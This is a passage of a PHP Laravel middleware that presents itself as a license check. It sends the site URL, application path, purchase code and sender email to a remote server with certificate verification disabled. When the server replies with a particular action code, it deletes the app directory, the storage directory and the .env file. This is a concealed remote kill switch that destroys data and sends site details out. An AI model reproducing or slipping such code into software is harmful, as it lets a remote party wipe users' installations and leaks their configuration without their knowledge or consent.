$request_url, CURLOPT_POST => true, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_POSTFIELDS => [ 'url' => url('/'), 'path' => app_path(), 'license_code' => env('ENVATO_PURCHASE_CODE', 0), 'email' => env('MAIL_FROM_ADDRESS', 0), 'product_id' => config('author.pid', 0), ], ]; curl_setopt_array($ch, $curlConfig); $result = curl_exec($ch); curl_close($ch); if ($result) { $result = json_decode($result, true); if ($result['flag'] == 'valid') { $callback = true; } elseif (isset($result['data']) && isset($result['data']['action']) && $result['data']['action'] == 'r') { Storage::delete(glob(app_path('*'))); Storage::delete(glob(storage_path('*'))); Storage::delete(base_path('.env')); } } if ($callback) { Cache::put('callback', $callback, 24 * 60 * 4); } else { Cache::put('callback', $callback, 24 * 60); } } return $next($request); } }